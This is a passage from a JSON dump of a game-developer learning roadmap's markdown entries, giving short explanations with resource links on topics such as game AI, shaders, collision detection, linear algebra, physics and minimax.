    "path": "src/data/roadmaps/game-developer/content/fuzzy-logic@4ZCVUpYrCT14d_JULulLe.md",
    "content": "# Fuzzy Logic\n\nFuzzy Logic is a mathematical logic method that resolves problem-solving and system control. Unlike traditional binary sets (true or false), fuzzy logic variables have a truth value that ranges in degree between 0 and 1. This allows them to handle the concept of partial truth, where the truth value may range between completely true and completely false. In game development, fuzzy logic is often used in artificial intelligence to make the game more realistic. For instance, it can be used to program non-player characters (NPCs) who respond to situational changes dynamically, making the gameplay more engaging and interactive.\n\nVisit the following resources to learn more:\n\n- [@article@Fuzzy Login in Games](https://www.michelepirovano.com/pdf/fuzzy_ai_in_games.pdf)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/game-ai@Hpf_CPmLpCSP8Qo07Kq1X.md",
    "content": "# Game AI\n\nGame AI is a subfield of artificial intelligence (AI) that is used to create video game characters that act and react like real human players. Game AI is used in a variety of video games, from simple puzzle games to complex strategy games. Game AI can be used to create non-player characters (NPCs) that interact with the player, as well as to create intelligent opponents that challenge the player.\n\nVisit the following resources to learn more:\n\n- [@article@Game AI](https://medium.com/@alidrsn/game-development-with-ai-strategy-tools-and-examples-7ae77257c062)\n- [@article@AI Game Development](https://modl.ai/ai-game-development/)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/game-ai@Hpk8eOaOepERMmOvUgkxa.md",
    "content": "# Game AI\n\nGame AI is a subfield of artificial intelligence (AI) that is used to create video game characters that act and react like real human players. Game AI is used in a variety of video games, from simple puzzle games to complex strategy games. Game AI can be used to create non-player characters (NPCs) that interact with the player, as well as to create intelligent opponents that challenge the player.\n\nVisit the following resources to learn more:\n\n- [@article@Game AI](https://medium.com/@alidrsn/game-development-with-ai-strategy-tools-and-examples-7ae77257c062)\n- [@article@AI Game Development](https://modl.ai/ai-game-development/)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/game-engine@fv5tivGad2P9GRZOodfn2.md",
    "content": "# Game Engine\n\nA *Game Engine* is a software framework designed to facilitate the creation and development of video games. Developers use them to create games for consoles, mobile devices, and personal computers. The core functionality typically provided by a game engine includes a rendering engine (\"renderer\") for 2D or 3D graphics, a physics engine or collision detection (and collision response), sound, scripting, animation, artificial intelligence, networking, streaming, memory management, and a scene graph. Game Engines can save a significant amount of development time by providing these reusable components. However, they aren't one-size-fits-all solutions, as developers must still customize much of the code to fit their games' unique needs. Some popular game engines are Unity, Unreal Engine, and Godot.\n\nVisit the following resources to learn more:\n\n- [@article@Game Engine](https://en.wikipedia.org/wiki/Game_engine)\n- [@video@Choosing a Game Engine is Easy!](https://www.youtube.com/watch?v=aMgB018o71U)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/game-mathematics@m1wX27XBWKXZcTMH2U1xp.md",
    "content": "# Game Mathematics\n\n\"Game Mathematics\" is a critical aspect of game development that deals with the use of mathematical concepts to create and control game mechanics. This involves areas such as geometry for 3D modelling, logic for game rules, algebra for scoring systems, and trigonometry for movements or trajectories. Understanding game mathematics enables developers to implement features like physics simulation, AI behaviours, and procedural generation. Advanced topics include complex calculations for graphics (e.g., shaders, lighting) and calculus for continuous animation or advanced physics. The mathematical complexity depends on the game's demands, but a solid foundation is crucial for any game developer.\n\nLearn more from the following resources:\n\n- [@article@Game Math](https://gamemath.com/book/intro.html)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/game-physics@UTBnrQiZ6Bf96yJYIUf3b.md",
    "content": "# Game Physics\n\nGame Physics is an integral part of game development that simulates the laws of physics in a virtual environment. This simulation brings realism into the game by defining how objects move, interact, and react to collisions and forces. Game physics ranges from how a character jumps or moves in a 2D or 3D space, to more complex mechanics such as fluid dynamics or ragdoll physics. Two main types of game physics are 'arcade physics', which are simpler and more abstract; and 'realistic physics', attempting to fully recreate real-life physics interactions. Implementing game physics requires a combination of mathematical knowledge and programming skills to integrate physics engines like Unity's PhysX and Unreal Engine's built-in physics tool.\n\nVisit the following resources to learn more:\n\n- [@article@Game Physics](https://en.wikipedia.org/wiki/Game_physics)\n- [@article@Master Game Physics Today!](https://www.udemy.com/course/gamephysics/)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/gdscript@AaRZiItRcn8fYb5R62vfT.md",
    "content": "# GDScript\n\nGDScript is a high-level, dynamically-typed programming language designed specifically for the Godot Engine, an open-source game development platform. It is tailored for ease of use and rapid development of game logic and functionality. GDScript features a syntax similar to Python, which simplifies learning and coding for developers familiar with Python, while providing direct access to Godot's rich set of built-in functions and game-specific APIs. The language integrates closely with Godot's scene system and scripting environment, enabling developers to create and manipulate game objects, handle input, and control game behavior efficiently.\n\nLearn more from the following resources:\n\n- [@official@GDScript Website](https://gdscript.com/)\n- [@video@How to program in Godot - GDScript Tutorial](https://www.youtube.com/watch?v=e1zJS31tr88)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/geometry@XWxW2ZBw3LcQ4DRk4tgAG.md",
    "content": "# Geometry\n\nGeometry in game development refers to the mathematical study used to define the spatial elements within a game. This is vital in determining how objects interact within a game's environment. Particularly, geometry is employed in various aspects like object rendering, collision detection, character movement, and the calculation of angles and distance. It allows developers to create the spatial parameters for a game, including object dimensions and orientations. Understanding the basics such as 2D vs 3D, polygons, vertices, meshes and more advanced topics such as vectors, matrices, quaternions etc. is crucial to this field.\n\nVisit the following resources to learn more:\n\n- [@article@Game Geometry - Math is Fun](https://www.mathsisfun.com/geometry/index.html)\n- [@article@Geometry and Primitives for Games](https://dev.to/fkkarakurt/geometry-and-primitives-in-game-development-1og)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/gjk@lwd3Gz9bJEKCIwhXD6m-v.md",
    "content": "# GJK\n\nThe **GJK algorithm** (Gilbert–Johnson–Keerthi) is a computational geometry algorithm that is widely used to detect collisions between convex objects in video games and simulations. The primary role of this algorithm is to assess the intersection between two convex shapes. What makes it unique and widely used is its efficiency and accuracy even when dealing with complex three-dimensional shapes. It uses the concept of \"Minkowski Difference\" to simplify its calculations and determine if two shapes are intersecting.\n\nVisit the following resources to learn more:\n\n- [@article@Game Geometry - Math is Fun](https://en.wikipedia.org/wiki/Gilbert-Johnson-Keerthi_distance_algorithm)\n- [@article@The GJK Algorithm](https://medium.com/@mbayburt/walkthrough-of-the-gjk-collision-detection-algorithm-80823ef5c774)\n- [@video@GJK Algorithm Explanation & Implementation](https://www.youtube.com/watch?v=MDusDn8oTSE)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/glsl@j8mWMFMQCEIPUzegDDsm1.md",
    "content": "# GLSL\n\n**GLSL** (Graphics Library Shader Language) is a high-level shading language inspired by C, based on the syntax of the OpenGL Shading Language. It is used in graphics programming for defining how the graphical content should look. GLSL allows developers to harness the power of modern GPUs (Graphics Processing Units), enabling direct, unconstrained control over graphics rendering. A key aspect of the language is its ability to create shaders, which are small programs that run on the GPU. Shaders are used for various graphical effects like vertex manipulation, pixel color calculations, or post-processing effects.\n\nVisit the following resources to learn more:\n\n- [@article@GLSL Shaders](https://developer.mozilla.org/en-US/docs/Games/Techniques/3D_on_the_web/GLSL_Shaders)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/goal-oriented-behavior@Cuc0xvCAkVyUtwOxO_Uua.md",
    "content": "# Goal Oriented Behavior\n\nGoal oriented behavior in game development refers to the artificial intelligence algorithms employed that give non-player characters (NPCs) the ability to make decisions based on certain objectives or tasks. These NPCs analyze the circumstances in the game environment, formulate a plan to achieve specific goals, and then execute it. The degree of sophistication in these algorithms can range from simple pathways to complex problem-solving solutions. As the behavior models are not hard-coded, it provides NPCs with greater adaptability and autonomy.\n\nVisit the following resources to learn more:\n\n- [@article@Goal Oriented Action Planning](https://duckduckgo.com/?q=Goal%20Oriented%20Behaviorin%20Game%20Dev+site:www.gamedeveloper.com)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/godot@7OffO2mBmfBKqPBTZ9ngI.md",
    "content": "# Godot\n\nGodot is an open-source, multi-platform game engine that is known for being feature-rich and user-friendly. It is developed by hundreds of contributors from around the world and supports the creation of both 2D and 3D games. Godot uses its own scripting language, GDScript, which is similar to Python, but it also supports C#. It is equipped with a unique scene system and comes with a multitude of tools that can expedite the development process. Godot's design philosophy centers around flexibility, extensibility, and ease of use, providing a handy tool for both beginners and pros in game development.\n\nVisit the following resources to learn more:\n\n- [@opensource@godotengine/godot](https://github.com/godotengine/godot)\n- [@official@Godot](https://godotengine.org/)\n- [@official@Godot Documentation](https://docs.godotengine.org/en/stable/)\n- [@video@Godot in 100 Seconds](https://www.youtube.com/watch?v=QKgTZWbwD1U)\n- [@video@Tutorial - How to make a Video Game in Godot](https://www.youtube.com/watch?v=LOhfqjmasi0)\n- [@video@Tutorial - How to make 3D Games in Godot](https://www.youtube.com/watch?v=ke5KpqcoiIU)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/graphics-api@Kx7O7RLp7aPGtOvK8e314.md",
    "content": "# Graphics API\n\nA Graphics API (Application Programming Interface) is a collection of commands, functions, protocols, and tools that game developers use to build games. It forms an interface between the game and the hardware of the device, usually a computer or console, and assists in rendering 2D and 3D graphics performance. Complex tasks such as drawing polygons, texturing, or lighting are encapsulated in a more manageable, higher-level process by the API. Common examples are Vulkan, DirectX, OpenGL, and Metal. Each one varies in availability and performance across different platforms and devices and has unique features that can be utilized for game development.\n\nVisit the following resources to learn more:\n\n- [@article@Graphics API in Unity](https://docs.unity3d.com/2022.3/Documentation/ScriptReference/PlayerSettings.SetGraphicsAPIs.html)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/graphics-pipeline@shSRnMf4NONuZ3TGPAoQc.md",
    "content": "# Graphics Pipeline\n\nThe **Graphics Pipeline**, also often referred to as the rendering pipeline, is a sequence of steps that a graphics system follows to convert a 3D model into a 2D image or view that can be displayed onto a screen. These steps typically include transformation, clipping, lighting, rasterization, shading, and other processes. Each step in the pipeline represents an operation that prepares or manipulates data to be used in downstream stages. The pipeline begins with a high-level description of a scene and ends with the final image rendered onto the screen. It is a primary concept in computer graphics that developers should learn as it can help in efficient rendering and high-quality visualization.\n\nVisit the following resources to learn more:\n\n- [@article@Graphics Pipelines](https://www.cs.cornell.edu/courses/cs4620/2020fa/slides/11pipeline.pdf)\n- [@article@Definition of Graphics Pipeline](https://www.pcmag.com/encyclopedia/term/graphics-pipeline)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/hermite@m4AuHjEBnHS0wyATG-I1Z.md",
    "content": "# Hermite\n\nHermite refers to Hermite interpolation, a fundamental technique in game development for executing smooth transitions. Essentially, Hermite interpolation is an application of polynomial mathematics, with two points applied as start/end (they're usually 3D positional vectors), and the tangents at these points controlling the curve's shape. The technique's name is derived from its inventor, Charles Hermite, a French mathematician. Hermite interpolation can be useful in different aspects of game development, such as creating smooth animations, camera paths, or motion patterns. Note, however, that while Hermite interpolation offers control over the start and end points of a sequence, it might not precisely predict the curve's full behavior.\n\nVisit the following resources to learn more:\n\n- [@article@Hermite Interpolation](https://en.wikipedia.org/wiki/Hermite_interpolation)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/hlsl@wYUDJb-q1rtM4w2QV3Wr1.md",
    "content": "# HLSL\n\n**HLSL** stands for High-Level Shader Language, and it is the proprietary shading language developed by Microsoft for use with the Microsoft Direct3D API. Just like its counterpart from OpenGL - GLSL, it opens up the power of programmable GPUs for developers by providing capability for creating customized rendering effects or performing operations that are computationally expensive in CPU. HLSL resembles the C programming language, thereby making it easier for developers coming from traditional programming backgrounds. It is often considered an integral part of the Direct X ecosystem and is used for developing complex and visually impressive graphics for games.\n\nVisit the following resources to learn more:\n\n- [@article@HLSL](https://en.wikipedia.org/wiki/High-Level_Shader_Language)\n- [@article@Comparison of HLSLs](https://docs.vulkan.org/guide/latest/high_level_shader_language_comparison.html)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/horizon@9cBOfj58I4hBlxlQIyV9g.md",
    "content": "# Horizon\n\nIn graphics, the horizon refers to a horizontal line that represents the visual boundary where the sky meets the earth or a flat surface, such as the ocean. It's a fundamental concept in perspective and art, serving as a reference point for creating a sense of depth and distance in an image. The placement of the horizon line can significantly impact the composition and mood of an image, with high or low horizon lines creating different effects on the viewer's perception of the scene.\n\nVisit the following resources to learn more:\n\n- [@article@Vanishing Point](https://en.wikipedia.org/wiki/Vanishing_point)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/infinite@sC3omOmL2DOyTSvET5cDa.md",
    "content": "# Infinite\r\n\r\nInfinite refers to concept that deals with rendering scenes or objects that extend beyond the visible boundaries of the screen. This is crucial for creating immersive environments, as it allows developers to simulate vast landscapes or endless spaces without the need to render every detail at once. Techniques such as level of detail (LOD), culling, and procedural generation are often employed to manage performance while maintaining the illusion of infinity.\r\n\r\nVisit the following resources to learn more:\r\n\r\n- [@article@Unlocking Infinite Worlds In Gaming](https://sdlccorp.com/post/procedural-generation-unlocking-infinite-worlds-in-gaming/)\r\n- [@article@Creating Infinite Game Worlds](https://medium.com/@lemapp09/beginning-game-development-creating-infinite-game-worlds-56f8a2ad5ae5)\r\n\r\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/intersection@vmRYaXNVCe0N73xG8bsEK.md",
    "content": "# Intersection\n\n`Intersection` is a concept in the narrow phase of game development where the exact point or points of collision are determined between two potentially colliding objects. This process takes place once a potential collision is determined in the broad phase. Algorithms such as Axis-Aligned Bounding Boxes (AABB), Separating Axis Theorem (SAT), Spherical or Capsule bounding, and many others are used for different intersection tests based on the shape of the objects. The intersection provides valuable data such as the point of contact, direction and depth of penetration, which are used to calculate the accurate physical response in the collision.\n\nVisit the following resources to learn more:\n\n- [@article@Intersection Tests for Games](https://www.gamedeveloper.com/game-platforms/simple-intersection-tests-for-games)\n- [@article@Intersection Geometry](https://www.petercollingridge.co.uk/tutorials/computational-geometry/line-line-intersections/)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/joints@m2_wUW2VHMCXHnn5B91qr.md",
    "content": "# Joints\n\nJoints in game development primarily refer to the connections between two objects, often used in the context of physics simulations and character animations. These might simulate the physics of real-world joints like hinges or springs. Developers can control various characteristics of joints such as their constraints, forces, and reactions. The different types come with various properties suitable for specific needs. For example, Fixed joints keep objects together, Hinge joints allow rotation around an axis, and Spring joints apply a force to keep objects apart.\n\nVisit the following resources to learn more:\n\n- [@official@Introduction to joints](https://docs.unity3d.com/Manual/Joints.html)\n- [@article@Character Rigging for Video Games](https://game-ace.com/blog/character-rigging-for-video-games/)\n- [@article@Joints in Unity](https://simonpham.medium.com/joints-in-unity-f9b602212524)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/learning@9_OcZ9rzedDFfwEYxAghh.md",
    "content": "# Learning\n\nMachine Learning is a field of study that gives computers the ability to learn without being explicitly programmed. It is a branch of artificial intelligence based on the idea that systems can learn from data, identify patterns and make decisions with minimal human intervention. In terms of game development, machine learning can be used to create NPCs that can learn from the player's actions and adapt to them.\n\nVisit the following resources to learn more:\n\n- [@article@Machine Learning - Wiki](https://en.wikipedia.org/wiki/Machine_learning)\n- [@article@Machine Learning Explained](https://mitsloan.mit.edu/ideas-made-to-matter/machine-learning-explained)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/light-source@VLrcBE1vb6N5fw5YESCge.md",
    "content": "# Light Source\n\nIn game development, a **light source** is a critical component that impacts the visual appeal and realism of the scene. It represents any object in the game scene that emits light, such as the sun, a lamp, or a torch. Light sources can be categorized as static or dynamic. Static light sources do not move or change throughout the game, while dynamic light sources can move and their properties can change in real-time. The properties of light sources that can be manipulated include intensity (how bright the light is), color, range (how far the light extends), direction, and type (point, directional, or spot). The lighting and shading effects are then computed based on these light source properties and how they interact with various objects in the game scene.\n\nVisit the following resources to learn more:\n\n- [@article@The Art of Game Lighting](https://3dskillup.com/effective-lighting-for-games/)\n- [@article@Lightning Game Environments](https://cgcookie.com/posts/art-of-lighting-game-environments)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/light@_1LkU258hzizSIgXipE0b.md",
    "content": "# Light\n\nLight refers to a visual representation of illumination in a 3D environment. It is used to simulate the way light behaves in the real world, adding depth, volume, and realism to objects and scenes. Lighting can be categorized into different types, such as ambient, diffuse, specular, and emissive, each serving a specific purpose in creating a believable and immersive visual experience. Proper lighting can greatly enhance the mood, atmosphere, and overall aesthetic of a scene, making it an essential aspect of graphics and game development.\n\nVisit the following resources to learn more:\n\n- [@article@Lightning in Game Environments](https://medium.com/my-games-company/using-light-and-color-in-game-development-a-beginners-guide-400edf4a7ae0)\n- [@article@The Art of Game Lighting](https://3dskillup.com/effective-lighting-for-games/)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/lighting-and-shadow@DDN3mn0LTueBhjRzXFcbU.md",
    "content": "# Lighting and Shadow\n\n**Lighting and Shadows** are paramount elements in computer graphics, significantly contributing to the visual realism of a game. They create depth and a sense of a three-dimensional space in a two-dimensional display. **Lighting** in game development mimics real-world light properties. It involves calculating how light interacts with different objects and surfaces based on their material characteristics and the light's intensity, direction, and color. Various algorithms, like Ray Tracing or Rasterization, are used to simulate these interactions. On the other hand, **shadows** are the areas unlit due to the blockage of light by an object. Producing realistic shadows involves complex computations, factoring in the light's position, the blocking object's shape and size, and the affected area's distance. Shadow Mapping and Shadow Volume are common techniques for creating shadows in game development. Special attention to these aspects can dramatically increase the perceived realism and immersion in the game environment.\n\nVisit the following resources to learn more:\n\n- [@article@Lightning and Shadows](https://www.techspot.com/article/1998-how-to-3d-rendering-lighting-shadows/)\n- [@article@The Art of Game Lighting](https://3dskillup.com/effective-lighting-for-games/)\n- [@article@Introduction to Lighting in 3D Games](https://www.gridpaperstudio.com/post/introduction-to-lighting-in-3d-game-engines-a-beginner-s-guide)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/linear-algebra@grRf-MmaXimDB4iODOV47.md",
    "content": "# Linear Algebra\n\nLinear Algebra is a vital field in Mathematics that is extensively used in game development. It revolves around vector spaces and the mathematical structures used therein, including matrices, determinants, vectors, eigenvalues, and eigenvectors, among others. In the context of game development, linear algebra is used mainly for computer graphics, physics, AI, and many more. It allows developers to work with spatial transformations, helping them manipulate and critically interact with the 3D space of the game. On a broader context, it is important in computer programming for algorithms, parallax shifting, polygonal modeling, collision detection, etc. From object movements, positional calculations, game physics, to creating dynamism in games, linear algebra is key.\n\nVisit the following resources to learn more:\n\n- [@article@Linear Algebra](https://en.wikipedia.org/wiki/Linear_algebra)\n- [@video@Linear Algebra Full Course by Kimberly Brehm](https://youtube.com/playlist?list=PLl-gb0E4MII03hiCrZa7YqxUMEeEPmZqK\\&si=_r0WDwh94NKJbs_R)\n- [@feed@Explore top posts about Math](https://app.daily.dev/tags/math?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/linear-transformation@XABzEU9owCx9-zw1id9xU.md",
    "content": "# Linear Transformation\n\n`Linear transformations` or `linear maps` are an important concept in mathematics, particularly in the fields of linear algebra and functional analysis. A linear transformation can be thought of as a transformation that preserves the operations of addition and scalar multiplication. In other words, a transformation T is linear if for every pair of vectors `x` and `y`, the equation `T(x + y) = T(x) + T(y)` holds true. Similarly, for any scalar `c` and any vector `x`, the equation `T(cx)=cT(x)` should also hold true. This property makes them very useful when dealing with systems of linear equations, matrices, and in many areas of computer graphics, including game development.\n\nVisit the following resources to learn more:\n\n- [@article@Linear Transformation](https://en.wikipedia.org/wiki/Linear_map)\n- [@feed@Explore top posts about Math](https://app.daily.dev/tags/math?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/linear-velocity@Z_U6abGV_wVkTGZ2LVkFK.md",
    "content": "# Linear Velocity\n\n**Linear Velocity** is a fundamental concept in physics that is extensively used in game development. It refers to the rate of change of an object's position with respect to a frame of reference. It's calculated by dividing the change in position by the change in time, often represented with the vector 'v'. In game development, an object's linear velocity can be manipulated to control its speed and direction. This is especially important in the development of physics simulations or movement-dependent gameplay elements. For instance, it can be used to make a character run or drive, or to throw an object at different speeds and directions.\n\nVisit the following resources to learn more:\n\n- [@article@Linear Velocity](https://byjus.com/physics/linear-velocity/)\n- [@feed@Explore top posts about Math](https://app.daily.dev/tags/math?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/mapping@THMmnx8p_P0X-dSPoHvst.md",
    "content": "# Mapping\n\n\"Mapping\" in game development, especially in the context of shaders, predominantly refers to Texture Mapping and Normal Mapping. **Texture Mapping** is the application of a texture (an image or colour data) onto a 3D model's surface. It's a process of defining how a 2D surface wraps around a 3D model or the way that a flat image is stretched across a model's surface to paint its appearance. This could be anything from the colour of objects to their roughness or reflectivity. Whereas, **Normal Mapping** is a technique used to create the illusion of complexity in the surface of a 3D model without adding any additional geometry. A Normal Map is a special kind of texture that allows the addition of surface details, such as bumps, grooves, and scratches which catch the light as if they are represented by real geometry, making a low-polygon model appear as a much more complex shape.\n\nVisit the following resources to learn more:\n\n- [@article@Designing Maps](https://www.gamedeveloper.com/design/designing-maps-that-complement-game-mechanics)\n- [@article@Mapping and Tiles in Game Development](https://code.tutsplus.com/an-introduction-to-creating-a-tile-map-engine--gamedev-10900t)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/markov-system@c6j-30p84vk3MZEF1R2hN.md",
    "content": "# Markov System\n\nA **Markov System** or **Markov Chain** represents a statistical model that is used in decision-making scenarios within game development. This model is based on the notion of \"memorylessness\" where a certain event's probability depends solely on the state attained in the previous event. It employs a sequence of possible events where the probability of each event hinges on the state achieved in the previous event. A common usage of a Markov System is in designing AI behavior within games, where each state symbolizes a different behavior, and transitions between them are governed by the Markov chain probabilities.\n\nVisit the following resources to learn more:\n\n- [@article@Markov System](https://towardsdatascience.com/modeling-games-with-markov-chains-c7b614731a7f)\n- [@article@Using Markov Chain in Game Development](https://www.gamedeveloper.com/design/advanced-math-in-game-design-random-walks-and-markov-chains-in-action)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/matrix@Kg6Mg9ieUUGXWX9Lai7B0.md",
    "content": "# Matrix\n\nIn game development, a **matrix** is a fundamental part of game mathematics. It's a grid of numbers arranged into rows and columns that's particularly important in 3D game development. These matrices are typically 4x4, meaning they contain 16 floating point numbers, and they're used extensively for transformations. They allow for the scaling, rotation, and translation (moving) of 3D vertices in space. With matrices, these transformations can be combined, and transformed vertices can be used to draw the replicas of 3D models into 2D screen space for rendering.\n\nVisit the following resources to learn more:\n\n- [@article@Matrix Algebra and Game Programming](https://www.gameludere.com/2019/12/21/matrix-algebra-and-game-programming/)\n- [@article@Matrices in Game Development](https://dev.to/fkkarakurt/matrices-and-vectors-in-game-development-67h)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/mcts@QD9TfZn3yhGPVwiyJ6d0V.md",
    "content": "# MCTS\n\n\"MCTS\", or Monte Carlo Tree Search, is a search algorithm that utilizes methods of decision-making to solve complex problems, commonly implemented in a range of applications, including board games. It essentially operates through building a search tree, node by node, for probable states of a game and then using Monte Carlo simulations to provide a statistical analysis of potential outcomes. It randomly generates moves using the game's determined rules, then makes decisions based on the results of these simulations. In board games, it's often used to determine AI decisions by simulating possible game scenarios, hence contributing to making the AI system more robust and challenging.\n\nVisit the following resources to learn more:\n\n- [@article@MCTS Algorithm](https://en.wikipedia.org/wiki/Monte_Carlo_tree_search/)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/metal@oEznLciLxZJaulMlBGgg4.md",
    "content": "# Metal\n\nMetal is a low-level, high-performance, application programming interface (API) developed by Apple. It debuted in iOS 8 and is dedicated to graphics and data-parallel computations. Essentially, it's designed to exploit modern GPU architecture on Apple devices, optimizing performance and power efficiency. This API applies to various platforms, including iOS, macOS, and tvOS. In contrast to high-level APIs like OpenGL, Metal offers a much lower overhead, allowing more direct control over the GPU. For developers, it means that they can squeeze better performance out of the hardware compared to higher-level APIs. With Metal, developers have a much more detailed view and control on the GPU which results in better graphical output and smoother performance.\n\n- [@official@Metal Documentation](https://developer.apple.com/metal/)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/metallicity@olY1ibR7kw1yJ58TfU-37.md",
    "content": "# Metallicity\n\nIn Physically Based Rendering (PBR), **Metallicity** is a critical property of a material, which influences how it interacts with light. It's a binary property, indicating whether the material is a 'metal' or 'non-metal'. Metals have a high metallicity value (often 1), non-metals (such as wood, plastic, etc.) have a low metallicity value (often 0). Interestingly, with PBR, there exists no 'partially metal' materials ― it's an all or nothing characteristic. This property significantly impacts color handling, too, as metals derive their color from specular reflection while non-metals derive from subsurface scattering (diffuse).\n\nVisit the following resources to learn more:\n\n- [@article@Metallicty in PBR](https://en.wikipedia.org/wiki/Physically_based_rendering)\n- [@article@What is PBR in 3D Games](https://www.adobe.com/products/substance3d/discover/pbr.html)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/microsurface-scattering@YrQgfjsdLCIUxrwflpEHO.md",
    "content": "# Microsurface Scattering\n\nMicrosurface scattering, also known as sub-surface scattering, is an important phenomenon in Physically Based Rendering (PBR). This process involves the penetration of light into the surface of a material, where it is scattered by interacting with the material. In other words, when light strikes an object, rather than simply bouncing off the surface, some of it goes into the object and gets scattered around inside before getting re-emitted. It is key to achieving more realistic rendering of translucent materials like skin, marble, milk, and more. Consider it essential for replicating how light interacts with real-world materials in a convincing manner in your game.\n\nVisit the following resources to learn more:\n\n- [@article@Subsurface Rendering](https://gamedev.net/forums/topic/600708-subsurface-scattering/)\n- [@article@Real Time Sub Surface Rendering](https://therealmjp.github.io/posts/sss-intro/)\n- [@video@Types of Subsurface Scattering](https://www.youtube.com/watch?v=GkjvYSbGHg4)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/minimax@oOjGqicW3eqRwWyIwJdBA.md",
    "content": "# Minimax\n\n`Minimax` is an artificial intelligence (AI) decision-making algorithm mainly used in decision making and game theory, particularly for two player zero-sum games. It formulates a strategy by simulating all possible game scenarios and assuming that the opponent is playing an optimal game. Minimax operates by the player minimizing the possible loss for a worst case scenario and thus making the 'maximum of the minimum' possible scenarios. This algorithm is often combined with `alpha-beta pruning` technique to increase its efficiency.\n\nVisit the following resources to learn more:\n\n- [@article@Minimax](https://en.wikipedia.org/wiki/Minimax)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/moment-of-inertia@6E2mkXuAzoYnrT1SEIA16.md",
    "content": "# Moment of Inertia\n\nThe **moment of inertia**, also known as rotational inertia, is a measure of an object's resistance to changes to its rotation. In simpler terms, it's essentially how difficult it is to start or stop an object from spinning. It is determined by both the mass of an object and its distribution of mass around the axis of rotation. In the context of game development, the moment of inertia is crucial for creating realistic movements of characters, objects or vehicles within the game. This is particularly relevant in scenarios where the motion involves spinning or revolving entities. Calculating and applying these physics ensures a more immersive and believable gaming experience.\n\nVisit the following resources to learn more:\n\n- [@article@Moment of Inertia](https://en.wikipedia.org/wiki/Moment_of_inertia)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/movement@mUyzX-DXnIKDl-r9o8d38.md",
    "content": "# Movement\n\nIn the context of game development and game API (Application Programming Interface), movement refers to the process of changing the position or orientation of game objects. This involves using programming functions to control objects' movement like walk, run, jump, fly, or any such physical action in the game world. Movement is at the core to creating the dynamics of a game and is critical to both game physics and game logic. Different game engines offer different ways for handling movement. In some APIs, this process could be as simple as setting a new position directly, such as `object.position = new Vector3(5, 10, 0)`. Meanwhile, in others, more complex methods involving real-world physics are required, such as applying forces or altering velocity.\n\nVisit the following resources to learn more:\n\n- [@article@Movement in Games](https://www.gamedeveloper.com/design/analyzing-core-character-movement-in-3d)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/naive-bayes-classifier@aw1BAGqrdBBmUwB6vMF_A.md",
    "content": "# Naive Bayes Classifier\n\nThe Naive Bayes Classifier is a type of probabalistic machine learning model that is utilized for classification tasks. These tasks can range from email filtering to sentiment analysis or even document categorization. This model is termed 'naive' because it operates under the assumption that each input feature is independent from one another. This simplifying assumption allows for the computation of the probabilities involved to be severely less complicated. It follows the Bayes' Theorem equation to predict the class of the given data point. While this classifier might seem simplistic, it holds its own quite well in complex real-world situations. Due to its simplicity and high efficiency, the Naive Bayes Classifier is one of the most reliable and practical methods in machine learning applications.\n\nVisit the following resources to learn more:\n\n- [@article@How Naive Bayes Classifier Works?](https://www.machinelearningplus.com/predictive-modeling/how-naive-bayes-algorithm-works-with-example-and-full-code/)\n- [@article@Text Classification With Naive Bayes Classifier](https://gamedevacademy.org/text-classification-tutorial-with-naive-bayes/)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/narrow-phase@SuemqQuiePab0Qpm2EGy9.md",
    "content": "# Narrow Phase\n\nThe **Narrow Phase** of collision detection is a process that dives deeply into detailed collision checks for pairs of objects that are already found to be potentially colliding during the broad phase. Narrow phase is essentially a fine-tuning process. Upon positive detection from the broad phase, it identifies the precise points of collision between the two objects, and it may involve more detailed shape representations and more expensive algorithms. It might also calculate additional information necessary for the physics simulation (like the exact time of impact and contact normals). The usual methods used for this phase involve bounding box, bounding sphere or separating axis theorem. However, the method can vary depending on the complexity of shapes of objects and the specific needs of the game.\n\nVisit the following resources to learn more:\n\n- [@article@Narrow Phase in Game Development](https://rocketbrush.com/blog/game-development-process-guide)\n"
  },
  {
    "path": "src/data/roadmaps/game-developer/content/native@CeAUEN233L4IoFSZtIvvl.md",
